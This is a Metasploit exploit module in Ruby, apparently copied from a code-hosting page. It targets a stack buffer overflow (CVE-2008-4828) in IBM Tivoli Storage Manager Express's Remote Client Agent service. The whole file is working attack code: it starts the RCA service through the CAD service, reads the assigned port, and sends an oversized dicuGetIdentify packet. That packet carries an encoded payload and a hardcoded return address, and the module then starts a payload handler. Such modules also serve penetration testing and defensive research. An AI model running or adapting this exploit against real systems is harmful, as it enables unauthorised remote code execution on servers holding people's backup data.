150 lines
4.0 KiB
Ruby
150 lines
4.0 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'IBM Tivoli Storage Manager Express RCA Service Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in the IBM Tivoli Storage Manager Express Remote
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Client Agent service. By sending a "dicuGetIdentify" request packet containing a long
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NodeName parameter, an attacker can execute arbitrary code.
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NOTE: this exploit first connects to the CAD service to start the RCA service and obtain
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the port number on which it runs. This service does not restart.
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},
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'Author' => [ 'jduck' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2008-4828' ],
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[ 'OSVDB', '54232' ],
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[ 'BID', '34803' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'seh',
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},
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'Privileged' => true,
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'Payload' =>
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{
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# wchar_t buf[1024];
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'Space' => ((1024*2)+4),
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'BadChars' => "\x00",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# this target should be pretty universal..
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# dbghelp.dll is shipped with TSM Express, and hasn't been kept up-to-date..
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[ 'IBM Tivoli Storage Manager Express 5.3.6.2', { 'Ret' => 0x028495d3 } ], # p/p/r dbghelp.dll v6.0.17.0
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Nov 04 2009'))
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register_options( [ Opt::RPORT(1582) ], self.class )
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end
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def make_tsm_packet(op,data)
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pkt = ""
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if op > 0xff
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pkt << [0,8,0xa5,op,0xc+data.length].pack('nCCNN')
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else
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pkt << [data.length,op,0xa5].pack('nCC')
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end
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pkt << data
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end
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def explode_tsm_packet(buf)
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return nil if buf.length < 4
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len,op,magic = buf[0,4].unpack('nCC')
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return nil if magic != 0xa5
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if op == 0x08
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return nil if buf.length < 12
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op,len = buf[4,8].unpack('NN')
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data = buf[12,len]
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else
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data = buf[4,len]
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end
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return op,data
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end
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def extract_port(buf)
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op,data = explode_tsm_packet(buf)
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if op != 0x10300
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print_error("Invalid response verb from CAD service: 0x%x" % op)
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return nil
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end
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if data.length < 6
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print_error("Insufficient data from CAD service.")
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return nil
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end
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port_str_len = data[4,2].unpack('n')[0]
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if data.length < (24+port_str_len)
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print_error("Insufficient data from CAD service.")
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return nil
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end
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rca_port = data[24,port_str_len].unpack('n*').pack('C*').to_i
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end
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def exploit
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print_status("Trying target %s..." % target.name)
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# first get the port number
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query = [1].pack('n')
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query << "\x00" * 10
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data = make_tsm_packet(0x10200, query)
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connect
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print_status("Attempting to start the RCA service via the CAD service...")
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sock.put(data)
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buf = sock.get_once(-1, 10)
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disconnect
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rca_port = extract_port(buf)
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if not rca_port or rca_port == 0
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print_error("The RCA agent service was not started :(")
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else
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print_status("RCA Agent is now running on port %u" % rca_port)
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end
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# trigger the vulnerability
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copy_len = payload_space + 4
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sploit = rand_text(33)
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# start offset, length
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sploit[10,4] = [0,copy_len].pack('n*')
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# data to copy
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buf = payload.encoded
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# we need this special encoding to make it work..
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buf << [target.ret].pack('V').unpack('v*').pack('n*')
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# adjustment :)
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sploit << buf
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data = make_tsm_packet(0x10400, sploit)
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connect(true, { 'RPORT' => rca_port })
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print_status("Sending specially crafted dicuGetIdentifyRequest packet...")
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sock.write(data)
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print_status("Starting handler...")
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handler
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disconnect
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end
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end
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